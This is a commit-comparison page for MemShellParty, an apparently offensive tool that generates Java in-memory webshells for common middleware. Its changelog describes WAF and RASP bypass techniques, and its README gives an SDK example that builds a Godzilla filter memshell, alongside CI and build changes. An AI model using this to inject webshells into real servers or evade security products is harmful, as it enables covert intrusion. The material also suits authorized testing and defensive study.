Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
dd2d9a8a3e | ||
|
|
ea955feccd | ||
|
|
6c84c44005 | ||
|
|
b581583dce | ||
|
|
a037e5d043 | ||
|
|
06dc282cff | ||
|
|
cae0a38a7a | ||
|
|
d69df0d1c1 | ||
|
|
942fa3ec68 | ||
|
|
f52efcb7a2 | ||
|
|
f55702ecda | ||
|
|
bc53918455 | ||
|
|
ac2b28c1f3 | ||
|
|
e68355df8b | ||
|
|
e4a5215f5f | ||
|
|
4f8ff51f8b | ||
|
|
fc9877aa3a | ||
|
|
8bb338d5a1 | ||
|
|
0e2abdecb3 | ||
|
|
f934e1e7ed | ||
|
|
330544c7f7 | ||
|
|
0fe51f8ec0 | ||
|
|
d2efb56dbc | ||
|
|
827462bcc6 | ||
|
|
e59678188a | ||
|
|
0ea1e7baba | ||
|
|
d0ee5c66bf | ||
|
|
0ee64df302 | ||
|
|
565d05340e | ||
|
|
761de0af90 | ||
|
|
50a9aec83c | ||
|
|
3ecdbf020d | ||
|
|
65d097c43d | ||
|
|
825c276d4e | ||
|
|
b8f3b67ba4 | ||
|
|
59621eefec | ||
|
|
a0e9dfbc85 | ||
|
|
98281f0eae | ||
|
|
2851c5d9e0 | ||
|
|
02bc358498 | ||
|
|
2fe3f82ebc | ||
|
|
8e89db5b96 | ||
|
|
8f46ea2e5e | ||
|
|
9299764994 | ||
|
|
d0b3ad2d95 | ||
|
|
29f854c6dd | ||
|
|
29d0d1b1e7 | ||
|
|
93fc7205cc | ||
|
|
f86675aee1 | ||
|
|
ecfe751f38 | ||
|
|
8e3dee8d13 | ||
|
|
6a899d9f92 | ||
|
|
7bb4890443 | ||
|
|
66c6403dd7 |
@@ -38,27 +38,63 @@ jobs:
|
|||||||
- name: Boot Unit Test with Gradle
|
- name: Boot Unit Test with Gradle
|
||||||
run: ./gradlew :boot:test
|
run: ./gradlew :boot:test
|
||||||
|
|
||||||
|
docker-build-test:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- name: Checkout code
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
- name: Build Docker image
|
||||||
|
run: |
|
||||||
|
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
|
||||||
|
docker images
|
||||||
|
- name: Run Docker container
|
||||||
|
run: |
|
||||||
|
docker run -d -e BOOT_OPTS=--server.servlet.context-path=/memshell-party -p 8080:8080 app
|
||||||
|
sleep 10
|
||||||
|
- name: Test with curl
|
||||||
|
run: |
|
||||||
|
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/version) -eq 200 ]]; then
|
||||||
|
echo "Test successful!"
|
||||||
|
else
|
||||||
|
echo "Test failed!"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
integration-test:
|
integration-test:
|
||||||
strategy:
|
strategy:
|
||||||
fail-fast: false
|
fail-fast: false
|
||||||
matrix:
|
matrix:
|
||||||
middleware:
|
cases:
|
||||||
- tomcat
|
- middleware: "tomcat"
|
||||||
- jetty
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
||||||
- jbossas
|
- middleware: "jetty"
|
||||||
- jbosseap
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
- wildfly
|
- middleware: "jbossas"
|
||||||
- glassfish
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
- resin
|
- middleware: "jbosseap"
|
||||||
- payara
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
- websphere
|
- middleware: "wildfly"
|
||||||
- websphere7
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
- springmvc
|
- middleware: "glassfish"
|
||||||
- weblogic
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
- springwebflux
|
- middleware: "resin"
|
||||||
- xxljob
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "payara"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "websphere"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "websphere7"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "weblogic"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "springmvc"
|
||||||
|
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||||
|
- middleware: "springwebflux"
|
||||||
|
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
||||||
|
- middleware: "xxljob"
|
||||||
|
depend_tasks: ""
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
name: ${{ matrix.middleware }}
|
name: ${{ matrix.cases.middleware }}
|
||||||
needs: [ unit-test ]
|
needs: [ unit-test ]
|
||||||
steps:
|
steps:
|
||||||
- name: Checkout
|
- name: Checkout
|
||||||
@@ -73,7 +109,11 @@ jobs:
|
|||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v4
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Prepare for Integration Test
|
||||||
|
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||||
|
|
||||||
- name: Integration Test with gradle
|
- name: Integration Test with gradle
|
||||||
run: ./gradlew :integration-test:test --tests '*.${{ matrix.middleware }}.*' --info
|
run: ./gradlew :integration-test:test --tests '*.${{ matrix.cases.middleware }}.*' --info
|
||||||
|
|
||||||
- name: Export Integration Test Summary
|
- name: Export Integration Test Summary
|
||||||
run: cat integration-test/build/test-results/report.md >> $GITHUB_STEP_SUMMARY
|
run: cat integration-test/build/test-results/report.md >> $GITHUB_STEP_SUMMARY
|
||||||
@@ -60,4 +60,5 @@ snippets/
|
|||||||
integration-test/**/apusic
|
integration-test/**/apusic
|
||||||
integration-test/**/bes
|
integration-test/**/bes
|
||||||
integration-test/**/tongweb
|
integration-test/**/tongweb
|
||||||
integration-test/**/inforsuite
|
integration-test/**/inforsuite
|
||||||
|
integration-test/**/primeton
|
||||||
@@ -5,6 +5,28 @@ All notable changes to this project will be documented in this file.
|
|||||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
||||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||||
|
|
||||||
|
## [v1.8.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.8.0) - 2025-05-14
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持普元中间件内存马生成(only 6.5 版本)by @ReaJason(#60)
|
||||||
|
- 支持哥斯拉 WebSocket 内存马生成与测试
|
||||||
|
- 添加 Groovy 通用恶意类加载打包方式(用于测试 Jenkins 脚本执行)
|
||||||
|
- 命令执行支持加密器,双 Base64 测试绕过 WAF 安全设备
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复 Jetty 高版本中 ee8 ~ ee10 无法注入(#61)
|
||||||
|
- 修复 Spring Boot 下类加载的原因导致的 Tomcat/Jetty/Undertow 部分内存马注入失败
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 命令执行改为反射调用 forkAndExec 以绕过 RASP(JDK7+)
|
||||||
|
- 获取所有线程代码改为 `Thread.getAllStackTraces().keySet()`,高版本 JDK 不再需要 bypass module
|
||||||
|
- 优化 boot 在启动时即触发 Server 的内存马生成注册,加速第一次请求访问
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.7.0...v1.8.0](https://github.com/ReaJason/MemShellParty/compare/v1.6.0...v1.7.0)
|
||||||
|
|
||||||
## [v1.7.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.7.0) - 2025-04-06
|
## [v1.7.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.7.0) - 2025-04-06
|
||||||
|
|
||||||
### Added
|
### Added
|
||||||
|
|||||||
@@ -8,7 +8,8 @@ WORKDIR /usr/src
|
|||||||
RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
||||||
rm -rf vul integration-test tools
|
rm -rf vul integration-test tools
|
||||||
|
|
||||||
FROM oven/bun:1.2.2 AS frontend
|
# https://hub.docker.com/r/oven/bun
|
||||||
|
FROM oven/bun:1.2.9 AS frontend
|
||||||
|
|
||||||
ARG ROUTE_ROOT_PATH="/"
|
ARG ROUTE_ROOT_PATH="/"
|
||||||
ARG CONTEXT_PATH=""
|
ARG CONTEXT_PATH=""
|
||||||
@@ -26,6 +27,7 @@ COPY --from=source /usr/src/web /usr/src/web
|
|||||||
|
|
||||||
RUN bun run build
|
RUN bun run build
|
||||||
|
|
||||||
|
# https://hub.docker.com/_/eclipse-temurin
|
||||||
FROM eclipse-temurin:17.0.14_7-jdk-noble AS backend
|
FROM eclipse-temurin:17.0.14_7-jdk-noble AS backend
|
||||||
|
|
||||||
ARG VERSION="1.0.0"
|
ARG VERSION="1.0.0"
|
||||||
|
|||||||
@@ -1,11 +1,24 @@
|
|||||||
# MemShellParty
|
<h1 align="center">MemShellParty</h1>
|
||||||
|
|
||||||
|
<p align="center">中文 | <a href="./docs/README.en.md">English</a><br></p>
|
||||||
|
<div align="center">
|
||||||
|
|
||||||
[](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
[](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
||||||
[](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
|
[](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
<div align="center">
|
||||||
|
|
||||||
[](https://github.com/ReaJason/MemShellParty/releases)
|
[](https://github.com/ReaJason/MemShellParty/releases)
|
||||||
|
[](https://central.sonatype.com/artifact/io.github.reajason/generator)
|
||||||
[](https://hub.docker.com/r/reajason/memshell-party)
|
[](https://hub.docker.com/r/reajason/memshell-party)
|
||||||
|
</div>
|
||||||
|
<div align="center">
|
||||||
|
|
||||||
[](https://t.me/memshell)
|
[](https://t.me/memshell)
|
||||||
[](https://party.memshell.news)
|
[](https://party.memshell.news)
|
||||||
|
</div>
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> 本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击或渗透测试等行为均属违法,使用者需自行承担相应的法律责任。
|
> 本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击或渗透测试等行为均属违法,使用者需自行承担相应的法律责任。
|
||||||
@@ -42,7 +55,7 @@ MemShellParty 是一款可本地部署的一键生成常见中间件框架内存
|
|||||||
|
|
||||||
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
|
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
|
||||||
|
|
||||||
可直接访问 https://party.memshell.news,每次 Release 都会自动部署最新的镜像。
|
可直接访问 [https://party.memshell.news](https://party.memshell.news)。每次 Release 都会自动部署最新的镜像。
|
||||||
|
|
||||||
### 本地部署(推荐)
|
### 本地部署(推荐)
|
||||||
|
|
||||||
@@ -200,22 +213,22 @@ Files.write(Paths.get("agent.jar"), agentJarBytes);
|
|||||||
| Listener | Listener |
|
| Listener | Listener |
|
||||||
| FilterManager - Agent | ServletContext - Agent |
|
| FilterManager - Agent | ServletContext - Agent |
|
||||||
|
|
||||||
| BES(9.5.x) | TongWeb(6 ~ 7) | InforSuite AS (9 ~ 10) | Apusic AS (9) |
|
| BES(9.5.x) | TongWeb(6 ~ 7) | InforSuite AS (9 ~ 10) | Apusic AS (9) | Primeton(6.5) |
|
||||||
|----------------------|----------------------|------------------------|---------------|
|
|----------------------|----------------------|------------------------|---------------|----------------------|
|
||||||
| Filter | Filter | Filter | Servlet |
|
| Filter | Filter | Filter | Servlet | Filter |
|
||||||
| Listener | Listener | Listener | Filter |
|
| Listener | Listener | Listener | Filter | Listener |
|
||||||
| Valve | Valve | Valve | Listener |
|
| Valve | Valve | Valve | Listener | Valve |
|
||||||
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | |
|
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | | FilterChain - Agent |
|
||||||
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | |
|
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | | ContextValve - Agent |
|
||||||
|
|
||||||
### 内存马功能
|
### 内存马功能
|
||||||
|
|
||||||
- [x] Godzilla 哥斯拉
|
- [x] [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla)
|
||||||
- [x] Behinder 冰蝎
|
- [x] [Behinder 冰蝎](https://github.com/rebeyond/Behinder)
|
||||||
- [x] 命令执行
|
- [x] 命令执行
|
||||||
- [x] Suo5
|
- [x] [Suo5](https://github.com/zema1/suo5)
|
||||||
- [x] AntSword 蚁剑
|
- [x] [AntSword 蚁剑](https://github.com/AntSwordProject/antSword)
|
||||||
- [x] Neo-reGeorg
|
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
|
||||||
- [x] Custom
|
- [x] Custom
|
||||||
|
|
||||||
### 封装方式
|
### 封装方式
|
||||||
@@ -229,7 +242,7 @@ Files.write(Paths.get("agent.jar"), agentJarBytes);
|
|||||||
- [x] 内置脚本引擎、Rhino 脚本引擎
|
- [x] 内置脚本引擎、Rhino 脚本引擎
|
||||||
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
|
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
|
||||||
- [x] Velocity、Freemarker、JinJava
|
- [x] Velocity、Freemarker、JinJava
|
||||||
- [x] 原生反序列化(CB4)
|
- [x] 原生反序列化(CB 和 CC 链)
|
||||||
- [x] Agent
|
- [x] Agent
|
||||||
- [x] XXL-JOB Executor
|
- [x] XXL-JOB Executor
|
||||||
- [x] Hessian、Hessian2 反序列化(XSLT链)
|
- [x] Hessian、Hessian2 反序列化(XSLT链)
|
||||||
@@ -246,23 +259,23 @@ Files.write(Paths.get("agent.jar"), agentJarBytes);
|
|||||||
首先需要下载 [bun](https://bun.sh/),这是一款用于构建前端服务的工具。
|
首先需要下载 [bun](https://bun.sh/),这是一款用于构建前端服务的工具。
|
||||||
|
|
||||||
1. 使用 Git Clone 项目
|
1. 使用 Git Clone 项目
|
||||||
```bash
|
```bash
|
||||||
git clone https://github.com/ReaJason/MemShellParty.git
|
git clone https://github.com/ReaJason/MemShellParty.git
|
||||||
```
|
```
|
||||||
2. 构建前端项目,build 结束会将静态资源自动移动到 Spring Boot 中以供使用
|
2. 构建前端项目,build 结束会将静态资源自动移动到 Spring Boot 中以供使用
|
||||||
```bash
|
```bash
|
||||||
cd MemShellParty/web
|
cd MemShellParty/web
|
||||||
|
|
||||||
bun install
|
bun install
|
||||||
|
|
||||||
bun run build
|
bun run build
|
||||||
```
|
```
|
||||||
3. 构建后端项目,确保使用 JDK17 环境
|
3. 构建后端项目,确保使用 JDK17 环境
|
||||||
```bash
|
```bash
|
||||||
cd MemShellParty/boot
|
cd MemShellParty/boot
|
||||||
|
|
||||||
./gradlew :boot:bootjar -x test
|
./gradlew :boot:bootjar -x test
|
||||||
```
|
```
|
||||||
|
|
||||||
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-1.0.0.jar`
|
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-1.0.0.jar`
|
||||||
|
|
||||||
@@ -339,11 +352,6 @@ location /memshell-party {
|
|||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
## How
|
|
||||||
|
|
||||||
1. 如何使用 bytebuddy 生成类,为属性赋值,添加方法,指定位置调用方法?(**WIP**)
|
|
||||||
2. 如何调试内存马,为什么内存马注入了却不可用?(**WIP**)
|
|
||||||
|
|
||||||
## Contribute
|
## Contribute
|
||||||
|
|
||||||
> 你的任何反馈以及 issue 交流都是对当前项目的贡献
|
> 你的任何反馈以及 issue 交流都是对当前项目的贡献
|
||||||
|
|||||||
@@ -1,17 +1,23 @@
|
|||||||
package com.reajason.javaweb.boot;
|
package com.reajason.javaweb.boot;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.Server;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.springframework.boot.SpringApplication;
|
import org.springframework.boot.SpringApplication;
|
||||||
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||||
|
|
||||||
|
import java.util.Arrays;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
@SpringBootApplication
|
@SpringBootApplication
|
||||||
|
@Slf4j
|
||||||
public class BootApplication {
|
public class BootApplication {
|
||||||
|
|
||||||
public static void main(String[] args) {
|
public static void main(String[] args) {
|
||||||
|
|
||||||
SpringApplication.run(BootApplication.class, args);
|
SpringApplication.run(BootApplication.class, args);
|
||||||
|
Server[] values = Server.values();
|
||||||
|
log.info("Supported servers: {}", Arrays.toString(values));
|
||||||
|
log.info("For another server, you can open a issue in GitHub, https://github.com/ReaJason/MemShellParty/issues/new?template=%E8%AF%B7%E6%B1%82%E9%80%82%E9%85%8D.md");
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
@@ -3,8 +3,10 @@ package com.reajason.javaweb.boot.controller;
|
|||||||
import com.reajason.javaweb.memshell.Packers;
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractShell;
|
import com.reajason.javaweb.memshell.server.AbstractShell;
|
||||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||||
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
@@ -58,4 +60,9 @@ public class ConfigController {
|
|||||||
}
|
}
|
||||||
return coreMap;
|
return coreMap;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@GetMapping("/command/encryptors")
|
||||||
|
public List<CommandConfig.Encryptor> getCommandEncryptors() {
|
||||||
|
return Arrays.stream(CommandConfig.Encryptor.values()).toList();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
@@ -28,6 +28,7 @@ public class GenerateRequest {
|
|||||||
private String headerName;
|
private String headerName;
|
||||||
private String headerValue;
|
private String headerValue;
|
||||||
private String shellClassBase64;
|
private String shellClassBase64;
|
||||||
|
private String encryptor;
|
||||||
}
|
}
|
||||||
|
|
||||||
public ShellToolConfig parseShellToolConfig() {
|
public ShellToolConfig parseShellToolConfig() {
|
||||||
@@ -48,6 +49,7 @@ public class GenerateRequest {
|
|||||||
case Command -> CommandConfig.builder()
|
case Command -> CommandConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8)))
|
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8)))
|
||||||
|
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
||||||
.build();
|
.build();
|
||||||
case Suo5 -> Suo5Config.builder()
|
case Suo5 -> Suo5Config.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
import com.vanniktech.maven.publish.SonatypeHost
|
import com.vanniktech.maven.publish.SonatypeHost
|
||||||
|
|
||||||
version = '1.7.0'
|
version = '1.8.0'
|
||||||
|
|
||||||
buildscript {
|
buildscript {
|
||||||
repositories {
|
repositories {
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
package com.reajason.javaweb.deserialize;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
import com.reajason.javaweb.deserialize.utils.Reflections;
|
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||||
@@ -23,7 +24,7 @@ public class TemplateUtils {
|
|||||||
.subclass(Object.class).name("foo")
|
.subclass(Object.class).name("foo")
|
||||||
.visit(new TargetJreVersionVisitorWrapper(Opcodes.V1_6))
|
.visit(new TargetJreVersionVisitorWrapper(Opcodes.V1_6))
|
||||||
.make()) {
|
.make()) {
|
||||||
fooBytes = make.getBytes();
|
fooBytes = ClassBytesShrink.shrink(make.getBytes(), true);
|
||||||
}
|
}
|
||||||
|
|
||||||
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{
|
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{
|
||||||
|
|||||||
@@ -0,0 +1,369 @@
|
|||||||
|
<h1 align="center">MemShellParty</h1>
|
||||||
|
|
||||||
|
<p align="center">English | <a href="../README.md">中文</a><br></p>
|
||||||
|
<div align="center">
|
||||||
|
|
||||||
|
[](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
||||||
|
[](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
<div align="center">
|
||||||
|
|
||||||
|
[](https://github.com/ReaJason/MemShellParty/releases)
|
||||||
|
[](https://central.sonatype.com/artifact/io.github.reajason/generator)
|
||||||
|
[](https://hub.docker.com/r/reajason/memshell-party)
|
||||||
|
</div>
|
||||||
|
<div align="center">
|
||||||
|
|
||||||
|
[](https://t.me/memshell)
|
||||||
|
[](https://party.memshell.news)
|
||||||
|
</div>
|
||||||
|
|
||||||
|
> [!WARNING]
|
||||||
|
> This tool is intended only for security researchers, network administrators, and related technical personnel for authorized security testing, vulnerability assessment, and security auditing purposes. Using this tool for any unauthorized network attacks or penetration testing activities is illegal, and users are solely responsible for any resulting legal consequences.
|
||||||
|
|
||||||
|
> [!TIP]
|
||||||
|
> As I primarily focus on security product development and lack extensive real-world combat experience, please feel free to raise an issue or join the [Telegram group](https://t.me/memshell) if you have questions about usage, implementation, or adaptation requests. Let's learn and exchange ideas together!
|
||||||
|
|
||||||
|
MemShellParty is a self-hosted, visual platform for one-click generation of java memshell for common middleware and frameworks. It also aims to be a comprehensive learning platform for java memshell. In an era full of wheels, it's time to build the car and accelerate together!
|
||||||
|
|
||||||
|
What you can learn or try from this project:
|
||||||
|
|
||||||
|
1. Learn to write java memshell for common middleware and frameworks.
|
||||||
|
2. Learn to use [Testcontainers](https://testcontainers.com/) for Java application integration testing.
|
||||||
|
3. Learn to use GitHub Actions for CI/CD, write CHANGELOG, and automate Release publications via CI.
|
||||||
|
4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
|
||||||
|
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## Key Features
|
||||||
|
|
||||||
|
- Non-Intrusive: Generated memshell do not interfere with the normal traffic of the target middleware, even when multiple different shells are injected simultaneously.
|
||||||
|
- High Availability: Comes with comprehensive [CI integration tests](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
||||||
|
- Minimal Size: Strives to minimize memshell size for efficient transfer.
|
||||||
|
- Strong Compatibility: Covers common middleware and frameworks encountered in offensive and defensive scenarios.
|
||||||
|
|
||||||
|
## Quick Start
|
||||||
|
|
||||||
|
### Online Preview
|
||||||
|
|
||||||
|
> Suitable for users who just want to try it out. Please use with caution on public services, as generated memshell might potentially contain backdoors if the service is compromised.
|
||||||
|
|
||||||
|
Access directly at [https://party.memshell.news](https://party.memshell.news). The latest image is automatically deployed with each release.
|
||||||
|
|
||||||
|
### Local Deployment (Recommended)
|
||||||
|
|
||||||
|
> Ideal for quick deployment on internal networks or local machines. Using Docker is fast and convenient.
|
||||||
|
|
||||||
|
After deploying with Docker, access the service at http://127.0.0.1:8080
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Pull the latest image from Docker Hub
|
||||||
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
||||||
|
|
||||||
|
# Pull the latest image from Github Container Registry
|
||||||
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest
|
||||||
|
|
||||||
|
# If network quality is poor, use the Nanjing University Github Container Registry mirror
|
||||||
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
||||||
|
```
|
||||||
|
|
||||||
|
The image is stateless. To update to the latest version, simply remove the old container and create a new one:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Remove the previously deployed container
|
||||||
|
docker rm -f memshell-party
|
||||||
|
|
||||||
|
# Use the previous deployment command to redeploy (it will automatically pull the latest image)
|
||||||
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
||||||
|
```
|
||||||
|
|
||||||
|
### SDK Integration into Existing Tools
|
||||||
|
|
||||||
|
> Suitable for integrating memshell payload generation into your existing tools. Supports JDK 8 and above (since v1.7.0).
|
||||||
|
|
||||||
|
1. Add the dependency using Maven or Gradle:
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<!-- Maven Repo-->
|
||||||
|
<dependency>
|
||||||
|
<groupId>io.github.reajason</groupId>
|
||||||
|
<artifactId>generator</artifactId>
|
||||||
|
<version>1.7.0</version>
|
||||||
|
</dependency>
|
||||||
|
```
|
||||||
|
|
||||||
|
```groovy
|
||||||
|
// Gradle Repo
|
||||||
|
implementation 'io.github.reajason:generator:1.7.0'
|
||||||
|
```
|
||||||
|
|
||||||
|
2. Example1: Generate a Tomcat Godzilla Filter memory shell:
|
||||||
|
|
||||||
|
```java
|
||||||
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
|
.server(Server.Tomcat)
|
||||||
|
.shellTool(ShellTool.Godzilla)
|
||||||
|
.shellType(ShellType.FILTER)
|
||||||
|
.shrink(true) // Shrink bytecode size
|
||||||
|
.debug(false) // Disable debug mode
|
||||||
|
.build();
|
||||||
|
|
||||||
|
InjectorConfig injectorConfig = InjectorConfig.builder()
|
||||||
|
// .urlPattern("/*") // Custom urlPattern, defaults to /*
|
||||||
|
// .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty
|
||||||
|
// .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||||
|
// .pass("pass")
|
||||||
|
// .key("key")
|
||||||
|
// .headerName("User-Agent")
|
||||||
|
// .headerValue("test")
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||||
|
|
||||||
|
System.out.println("Injector Class Name: "+result.getInjectorClassName());
|
||||||
|
System.out.println("MemShell Class Name: "+result.getShellClassName());
|
||||||
|
|
||||||
|
System.out.println(result.getShellConfig());
|
||||||
|
System.out.println(result.getShellToolConfig());
|
||||||
|
|
||||||
|
System.out.println("Base64 Packed: "+Packers.Base64.getInstance().pack(result));
|
||||||
|
System.out.println("ScriptEngine Packed: "+Packers.ScriptEngine.getInstance().pack(result));
|
||||||
|
```
|
||||||
|
3. Example2: Generate a Tomcat Godzilla AgentFilterChain memory shell (Agent type):
|
||||||
|
```java
|
||||||
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
|
.server(Server.Tomcat)
|
||||||
|
.shellTool(ShellTool.Godzilla)
|
||||||
|
.shellType(ShellType.AGENT_FILTER_CHAIN)
|
||||||
|
.shrink(true) // Shrink bytecode size
|
||||||
|
.debug(false) // Disable debug mode
|
||||||
|
.build();
|
||||||
|
|
||||||
|
InjectorConfig injectorConfig = InjectorConfig.builder()
|
||||||
|
// .urlPattern("/*") // Custom urlPattern, defaults to /*
|
||||||
|
